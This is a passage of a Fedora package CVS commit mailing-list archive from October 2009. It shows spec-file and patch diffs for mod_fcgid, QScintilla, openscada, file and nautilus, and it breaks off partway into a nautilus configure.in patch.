@@ -29,6 +29,7 @@ Source10:	fastcgi.te
 Source11:	fastcgi-2.5.te
 Source12:	fastcgi.fc
 Patch0:		mod_fcgid-2.3.4-fixconf-shellbang.patch
+Patch1:		mod_fcgid-2.3.4-svn827039.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	httpd-devel >= 2.0, pkgconfig
 Requires:	httpd-mmn = %([ -a %{_includedir}/httpd/.mmn ] && %{__cat} %{_includedir}/httpd/.mmn || echo missing)
@@ -92,6 +93,17 @@ SELinux policy module supporting FastCGI
 # Fix shellbang in fixconf script for our location of sed
 %patch0 -p1
 
+# * Fix regexp in fixconf script that resulted in a prefix of "FcgidFcgid"
+#   on the updated directives
+# * Fix possible corruption or truncation of request bodies that exceed
+#   FcgidMaxRequestInMem (regression since mod_fcgid 2.2, which effectively
+#   ignored FcgidMaxRequestInMem if larger than 8K)
+# * Fix handling of the request body when a FastCGI
+#   access checker/authenticator/authorizer (AAA) was configured
+# * Fix handling of FcgidCmdOptions so that it can apply to wrapper scripts
+#   that were defined with command-line arguments on the FcgidWrapper directive
+%patch1 -p0
+
 %build
 APXS=/usr/sbin/apxs ./configure.apxs
 %{__make}
@@ -171,6 +183,11 @@ exit 0
 %endif
 
 %changelog
+* Wed Oct 21 2009 Paul Howarth <paul at city-fan.org> 2.3.4-2
+- Add fixes from upstream svn for a number of issues, most notably that the
+  fixconf script had an error in the regexp, which resulted in a prefix of
+  "FcgidFcgid" on the updated directives
+
 * Mon Oct 12 2009 Paul Howarth <paul at city-fan.org> 2.3.4-1
 - Update to 2.3.4 (configuration directives changed again)
 - Add fixconf.sed script for config file directives update



From rdieter at fedoraproject.org  Wed Oct 21 13:48:38 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 13:48:38 +0000 (UTC)
Subject: rpms/qscintilla/devel QScintilla-gpl-2.4-autocomplete_popup.patch,
	1.1, 1.2
Message-ID: <20091021134839.1C5BD11C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qscintilla/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15099

Modified Files:
	QScintilla-gpl-2.4-autocomplete_popup.patch 
Log Message:
typo!


QScintilla-gpl-2.4-autocomplete_popup.patch:
 SciClasses.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: QScintilla-gpl-2.4-autocomplete_popup.patch
===================================================================
RCS file: /cvs/pkgs/rpms/qscintilla/devel/QScintilla-gpl-2.4-autocomplete_popup.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- QScintilla-gpl-2.4-autocomplete_popup.patch	21 Oct 2009 13:24:35 -0000	1.1
+++ QScintilla-gpl-2.4-autocomplete_popup.patch	21 Oct 2009 13:48:38 -0000	1.2
@@ -6,7 +6,7 @@ diff -up QScintilla-gpl-2.4/Qt4/SciClass
      : QListWidget(parent), lbx(lbx_)
  {
 -    setWindowFlags(Qt::Tool|Qt::FramelessWindowHint);
-+    setWindowFlags(Qt::ToolTip|Qt::WindowStaysOntopHint);
++    setWindowFlags(Qt::ToolTip|Qt::WindowStaysOnTopHint);
      setAttribute(Qt::WA_StaticContents);
  
      setFocusProxy(parent);



From peter at fedoraproject.org  Wed Oct 21 13:54:47 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed, 21 Oct 2009 13:54:47 +0000 (UTC)
Subject: rpms/openscada/EL-5 openscada.spec,1.9,1.10
Message-ID: <20091021135447.5853011C00E8@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16529/EL-5

Modified Files:
	openscada.spec 
Log Message:
Fixed the rest of broken deps


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/openscada.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- openscada.spec	19 Oct 2009 07:47:43 -0000	1.9
+++ openscada.spec	21 Oct 2009 13:54:47 -0000	1.10
@@ -58,7 +58,7 @@
 # Only for x86_32
 %ifarch x86_64
   %if 0%{?with_diamondboards}
-  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }
 %endif
   %if 0%{?with_icpdas}
   %{error: ICP_DAS support available only for %{ix86} target }
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 2%{?dist}
+Release: 3%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -978,7 +978,9 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-DAQ-BlockCalc
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-DAQ-JavaLikeCalc
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-ModBus
@@ -1010,11 +1012,15 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-DB-SQLite
 Requires: %{name}-DB-MySQL
+%if 0%{?with_firebird}
 Requires: %{name}-DB-FireBird
+%endif
 Requires: %{name}-DAQ-System
 Requires: %{name}-DAQ-BlockCalc
 Requires: %{name}-DAQ-JavaLikeCalc
+%if 0%{?with_diamondboards}
 Requires: %{name}-DAQ-DiamondBoards
+%endif
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-SNMP
 Requires: %{name}-DAQ-Siemens
@@ -1022,7 +1028,9 @@ Requires: %{name}-DAQ-ModBus
 Requires: %{name}-DAQ-DCON
 Requires: %{name}-DAQ-Gate
 Requires: %{name}-DAQ-Soundcard
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-ARH-DBArch
 Requires: %{name}-Transport-Sockets
@@ -1034,8 +1042,8 @@ Requires: %{name}-UI-VCAEngine
 Requires: %{name}-UI-WebCfg
 Requires: %{name}-UI-WebVision
 Requires: %{name}-UI-WebCfgd
-Requires: %{name}-Special-FLibComplex1
-Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
 Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
@@ -1074,9 +1082,9 @@ Requires: %name-UI-Vision
 Requires: %name-UI-QTStarter
 Requires: %name-UI-QTCfg
 %endif
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %name-Special-FlibComplex1
+Requires: %name-Special-FlibMath
+Requires: %name-Special-FlibSYS
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).
@@ -1479,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
+- Fixed the rest of broken deps introduced with new sub-packages.
+
 * Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
 - Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
 



From peter at fedoraproject.org  Wed Oct 21 13:54:47 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed, 21 Oct 2009 13:54:47 +0000 (UTC)
Subject: rpms/openscada/F-10 openscada.spec,1.11,1.12
Message-ID: <20091021135447.8196911C00E8@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16529/F-10

Modified Files:
	openscada.spec 
Log Message:
Fixed the rest of broken deps


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/openscada.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- openscada.spec	19 Oct 2009 07:48:42 -0000	1.11
+++ openscada.spec	21 Oct 2009 13:54:47 -0000	1.12
@@ -58,7 +58,7 @@
 # Only for x86_32
 %ifarch x86_64
   %if 0%{?with_diamondboards}
-  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }
 %endif
   %if 0%{?with_icpdas}
   %{error: ICP_DAS support available only for %{ix86} target }
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 2%{?dist}
+Release: 3%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -978,7 +978,9 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-DAQ-BlockCalc
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-DAQ-JavaLikeCalc
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-ModBus
@@ -1010,11 +1012,15 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-DB-SQLite
 Requires: %{name}-DB-MySQL
+%if 0%{?with_firebird}
 Requires: %{name}-DB-FireBird
+%endif
 Requires: %{name}-DAQ-System
 Requires: %{name}-DAQ-BlockCalc
 Requires: %{name}-DAQ-JavaLikeCalc
+%if 0%{?with_diamondboards}
 Requires: %{name}-DAQ-DiamondBoards
+%endif
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-SNMP
 Requires: %{name}-DAQ-Siemens
@@ -1022,7 +1028,9 @@ Requires: %{name}-DAQ-ModBus
 Requires: %{name}-DAQ-DCON
 Requires: %{name}-DAQ-Gate
 Requires: %{name}-DAQ-Soundcard
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-ARH-DBArch
 Requires: %{name}-Transport-Sockets
@@ -1034,8 +1042,8 @@ Requires: %{name}-UI-VCAEngine
 Requires: %{name}-UI-WebCfg
 Requires: %{name}-UI-WebVision
 Requires: %{name}-UI-WebCfgd
-Requires: %{name}-Special-FLibComplex1
-Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
 Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
@@ -1074,9 +1082,9 @@ Requires: %name-UI-Vision
 Requires: %name-UI-QTStarter
 Requires: %name-UI-QTCfg
 %endif
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %name-Special-FlibComplex1
+Requires: %name-Special-FlibMath
+Requires: %name-Special-FlibSYS
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).
@@ -1479,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
+- Fixed the rest of broken deps introduced with new sub-packages.
+
 * Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
 - Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
 



From peter at fedoraproject.org  Wed Oct 21 13:54:47 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed, 21 Oct 2009 13:54:47 +0000 (UTC)
Subject: rpms/openscada/F-11 openscada.spec,1.11,1.12
Message-ID: <20091021135447.B07EA11C00E8@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16529/F-11

Modified Files:
	openscada.spec 
Log Message:
Fixed the rest of broken deps


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/openscada.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- openscada.spec	19 Oct 2009 07:49:34 -0000	1.11
+++ openscada.spec	21 Oct 2009 13:54:47 -0000	1.12
@@ -58,7 +58,7 @@
 # Only for x86_32
 %ifarch x86_64
   %if 0%{?with_diamondboards}
-  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }
 %endif
   %if 0%{?with_icpdas}
   %{error: ICP_DAS support available only for %{ix86} target }
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 2%{?dist}
+Release: 3%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -978,7 +978,9 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-DAQ-BlockCalc
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-DAQ-JavaLikeCalc
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-ModBus
@@ -1010,11 +1012,15 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-DB-SQLite
 Requires: %{name}-DB-MySQL
+%if 0%{?with_firebird}
 Requires: %{name}-DB-FireBird
+%endif
 Requires: %{name}-DAQ-System
 Requires: %{name}-DAQ-BlockCalc
 Requires: %{name}-DAQ-JavaLikeCalc
+%if 0%{?with_diamondboards}
 Requires: %{name}-DAQ-DiamondBoards
+%endif
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-SNMP
 Requires: %{name}-DAQ-Siemens
@@ -1022,7 +1028,9 @@ Requires: %{name}-DAQ-ModBus
 Requires: %{name}-DAQ-DCON
 Requires: %{name}-DAQ-Gate
 Requires: %{name}-DAQ-Soundcard
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-ARH-DBArch
 Requires: %{name}-Transport-Sockets
@@ -1034,8 +1042,8 @@ Requires: %{name}-UI-VCAEngine
 Requires: %{name}-UI-WebCfg
 Requires: %{name}-UI-WebVision
 Requires: %{name}-UI-WebCfgd
-Requires: %{name}-Special-FLibComplex1
-Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
 Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
@@ -1074,9 +1082,9 @@ Requires: %name-UI-Vision
 Requires: %name-UI-QTStarter
 Requires: %name-UI-QTCfg
 %endif
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %name-Special-FlibComplex1
+Requires: %name-Special-FlibMath
+Requires: %name-Special-FlibSYS
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).
@@ -1479,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
+- Fixed the rest of broken deps introduced with new sub-packages.
+
 * Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
 - Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
 



From peter at fedoraproject.org  Wed Oct 21 13:54:47 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed, 21 Oct 2009 13:54:47 +0000 (UTC)
Subject: rpms/openscada/F-12 openscada.spec,1.14,1.15
Message-ID: <20091021135447.E670F11C00E8@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16529/F-12

Modified Files:
	openscada.spec 
Log Message:
Fixed the rest of broken deps


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/openscada.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- openscada.spec	19 Oct 2009 07:27:01 -0000	1.14
+++ openscada.spec	21 Oct 2009 13:54:47 -0000	1.15
@@ -58,7 +58,7 @@
 # Only for x86_32
 %ifarch x86_64
   %if 0%{?with_diamondboards}
-  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }
 %endif
   %if 0%{?with_icpdas}
   %{error: ICP_DAS support available only for %{ix86} target }
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 2%{?dist}
+Release: 3%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -978,7 +978,9 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-DAQ-BlockCalc
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-DAQ-JavaLikeCalc
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-ModBus
@@ -1010,11 +1012,15 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-DB-SQLite
 Requires: %{name}-DB-MySQL
+%if 0%{?with_firebird}
 Requires: %{name}-DB-FireBird
+%endif
 Requires: %{name}-DAQ-System
 Requires: %{name}-DAQ-BlockCalc
 Requires: %{name}-DAQ-JavaLikeCalc
+%if 0%{?with_diamondboards}
 Requires: %{name}-DAQ-DiamondBoards
+%endif
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-SNMP
 Requires: %{name}-DAQ-Siemens
@@ -1022,7 +1028,9 @@ Requires: %{name}-DAQ-ModBus
 Requires: %{name}-DAQ-DCON
 Requires: %{name}-DAQ-Gate
 Requires: %{name}-DAQ-Soundcard
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-ARH-DBArch
 Requires: %{name}-Transport-Sockets
@@ -1034,8 +1042,8 @@ Requires: %{name}-UI-VCAEngine
 Requires: %{name}-UI-WebCfg
 Requires: %{name}-UI-WebVision
 Requires: %{name}-UI-WebCfgd
-Requires: %{name}-Special-FLibComplex1
-Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
 Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
@@ -1074,9 +1082,9 @@ Requires: %name-UI-Vision
 Requires: %name-UI-QTStarter
 Requires: %name-UI-QTCfg
 %endif
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %name-Special-FlibComplex1
+Requires: %name-Special-FlibMath
+Requires: %name-Special-FlibSYS
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).
@@ -1479,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
+- Fixed the rest of broken deps introduced with new sub-packages.
+
 * Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
 - Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
 



From peter at fedoraproject.org  Wed Oct 21 13:54:48 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed, 21 Oct 2009 13:54:48 +0000 (UTC)
Subject: rpms/openscada/devel openscada.spec,1.14,1.15
Message-ID: <20091021135448.1C56311C00E8@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16529/devel

Modified Files:
	openscada.spec 
Log Message:
Fixed the rest of broken deps


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/openscada.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- openscada.spec	19 Oct 2009 14:42:16 -0000	1.14
+++ openscada.spec	21 Oct 2009 13:54:47 -0000	1.15
@@ -58,7 +58,7 @@
 # Only for x86_32
 %ifarch x86_64
   %if 0%{?with_diamondboards}
-  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }
 %endif
   %if 0%{?with_icpdas}
   %{error: ICP_DAS support available only for %{ix86} target }
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 2%{?dist}
+Release: 3%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -978,7 +978,9 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-DAQ-BlockCalc
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-DAQ-JavaLikeCalc
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-ModBus
@@ -1010,11 +1012,15 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-DB-SQLite
 Requires: %{name}-DB-MySQL
+%if 0%{?with_firebird}
 Requires: %{name}-DB-FireBird
+%endif
 Requires: %{name}-DAQ-System
 Requires: %{name}-DAQ-BlockCalc
 Requires: %{name}-DAQ-JavaLikeCalc
+%if 0%{?with_diamondboards}
 Requires: %{name}-DAQ-DiamondBoards
+%endif
 Requires: %{name}-DAQ-LogicLevel
 Requires: %{name}-DAQ-SNMP
 Requires: %{name}-DAQ-Siemens
@@ -1022,7 +1028,9 @@ Requires: %{name}-DAQ-ModBus
 Requires: %{name}-DAQ-DCON
 Requires: %{name}-DAQ-Gate
 Requires: %{name}-DAQ-Soundcard
+%if 0%{?with_icpdas}
 Requires: %{name}-DAQ-IcpDas
+%endif
 Requires: %{name}-ARH-FSArch
 Requires: %{name}-ARH-DBArch
 Requires: %{name}-Transport-Sockets
@@ -1034,8 +1042,8 @@ Requires: %{name}-UI-VCAEngine
 Requires: %{name}-UI-WebCfg
 Requires: %{name}-UI-WebVision
 Requires: %{name}-UI-WebCfgd
-Requires: %{name}-Special-FLibComplex1
-Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
 Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
@@ -1074,9 +1082,9 @@ Requires: %name-UI-Vision
 Requires: %name-UI-QTStarter
 Requires: %name-UI-QTCfg
 %endif
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %name-Special-FlibComplex1
+Requires: %name-Special-FlibMath
+Requires: %name-Special-FlibSYS
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).
@@ -1479,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
+- Fixed the rest of broken deps introduced with new sub-packages.
+
 * Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
 - Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
 



From dnovotny at fedoraproject.org  Wed Oct 21 13:55:35 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Wed, 21 Oct 2009 13:55:35 +0000 (UTC)
Subject: rpms/file/devel file-5.03-ppcswap.patch, NONE, 1.1 file.spec, 1.106,
	1.107
Message-ID: <20091021135535.3391911C00E8@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/file/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16747

Modified Files:
	file.spec 
Added Files:
	file-5.03-ppcswap.patch 
Log Message:
fix #530083


file-5.03-ppcswap.patch:
 linux |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE file-5.03-ppcswap.patch ---
diff -up file-5.03/magic/Magdir/linux.ppcswap file-5.03/magic/Magdir/linux
--- file-5.03/magic/Magdir/linux.ppcswap	2009-10-21 15:48:42.000000000 +0200
+++ file-5.03/magic/Magdir/linux	2009-10-21 15:50:09.000000000 +0200
@@ -61,6 +61,9 @@
 >0x404	long		x		size %d pages
 >>4086	string		SWAPSPACE2	
 >>>1052	string		>\0		Label %s
+# From Daniel Novotny <dnovotny at redhat.com>
+# swap file for PowerPC
+65526   string          SWAPSPACE2      Linux/ppc swap file
 # ECOFF magic for OSF/1 and Linux (only tested under Linux though)
 #
 #	from Erik Troan (ewt at redhat.com) examining od dumps, so this


Index: file.spec
===================================================================
RCS file: /cvs/extras/rpms/file/devel/file.spec,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- file.spec	25 Aug 2009 11:11:05 -0000	1.106
+++ file.spec	21 Oct 2009 13:55:35 -0000	1.107
@@ -5,7 +5,7 @@
 Summary: A utility for determining file types
 Name: file
 Version: 5.03
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: BSD
 Group: Applications/File
 Source0: ftp://ftp.astron.com/pub/file/file-%{version}.tar.gz
@@ -17,6 +17,7 @@ Patch3: file-5.03-fonts-postscript.patch
 Patch4: file-5.03-xfsdump.patch
 Patch5: file-5.03-ifany.patch
 Patch6: file-5.03-multilib.patch
+Patch7: file-5.03-ppcswap.patch
 
 Requires: file-libs = %{version}-%{release}
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -72,6 +73,8 @@ file(1) command.
 %patch5 -p1
 #fixes #515767
 %patch6 -p1
+#fixes #530083
+%patch7 -p1
 
 iconv -f iso-8859-1 -t utf-8 < doc/libmagic.man > doc/libmagic.man_
 touch -r doc/libmagic.man doc/libmagic.man_
@@ -146,6 +149,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Wed Oct 21 2009 Daniel Novotny <dnovotny at redhat.com> 5.03-10
+- fix #530083 -  file -s is not able to detect swap signature on ppc
+
 * Tue Aug 25 2009 Daniel Novotny <dnovotny at redhat.com> 5.03-9
 - fix #515767 -  multilib: file /usr/share/misc/magic.mgc conflicts
 



From tbzatek at fedoraproject.org  Wed Oct 21 13:56:13 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Wed, 21 Oct 2009 13:56:13 +0000 (UTC)
Subject: rpms/nautilus/F-12 nautilus-2.28.1-dynamic-search.patch, NONE,
	1.1 nautilus-2.28.1-tracker-0.7-failed-connection.patch, NONE,
	1.1 .cvsignore, 1.101, 1.102 nautilus.spec, 1.290, 1.291 sources,
	1.106, 1.107 nautilus-2.23.5-dynamic-search.patch, 1.1,
	NONE nautilus-2.28.0-lacks-mount-do-not-use-activation-uri.patch,
	1.1, NONE nautilus-condrestart.patch, 1.1, NONE
Message-ID: <20091021135613.46DCB11C00E8@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/nautilus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17060

Modified Files:
	.cvsignore nautilus.spec sources 
Added Files:
	nautilus-2.28.1-dynamic-search.patch 
	nautilus-2.28.1-tracker-0.7-failed-connection.patch 
Removed Files:
	nautilus-2.23.5-dynamic-search.patch 
	nautilus-2.28.0-lacks-mount-do-not-use-activation-uri.patch 
	nautilus-condrestart.patch 
Log Message:
* Wed Oct 21 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.1-1
- Update to 2.28.1


nautilus-2.28.1-dynamic-search.patch:
 configure.in                                         |   62 --------
 libnautilus-private/Makefile.am                      |   20 --
 libnautilus-private/nautilus-search-engine-beagle.c  |  132 +++++++++++++++++
 libnautilus-private/nautilus-search-engine-tracker.c |  142 +++++++++++++++----
 libnautilus-private/nautilus-search-engine.c         |    5 
 5 files changed, 248 insertions(+), 113 deletions(-)

--- NEW FILE nautilus-2.28.1-dynamic-search.patch ---
>From 62ec35a733aee0a7ce7a820027e8507183ac212d Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Wed, 21 Oct 2009 15:23:26 +0200
Subject: [PATCH] Load beagle/tracker at runtime

Dynamically load beagle and tracker client libraries on demand if available.
This allows more flexibility for packagers and users.

See bug 589345 for details.
---
 configure.in                                       |   62 ---------
 libnautilus-private/Makefile.am                    |   20 +---
 .../nautilus-search-engine-beagle.c                |  132 ++++++++++++++++++-
 .../nautilus-search-engine-tracker.c               |  142 ++++++++++++++++----
 libnautilus-private/nautilus-search-engine.c       |    4 -
 5 files changed, 248 insertions(+), 112 deletions(-)

diff --git a/configure.in b/configure.in
index 45f0b26..866e8f3 100644
--- a/configure.in
+++ b/configure.in
@@ -195,66 +195,6 @@ if test "x$enable_xmp" != "xno"; then
 fi
 
 dnl ==========================================================================
-dnl search implementations
-dnl ****************************
-
-AM_CONDITIONAL(HAVE_TRACKER, false)
-
-dnl libtracker checking
-			    			  
-AC_ARG_ENABLE(tracker, 
-	AC_HELP_STRING([--disable-tracker], 
-			[build without tracker support]))
-msg_tracker=no
-if test "x$enable_tracker" != "xno"; then
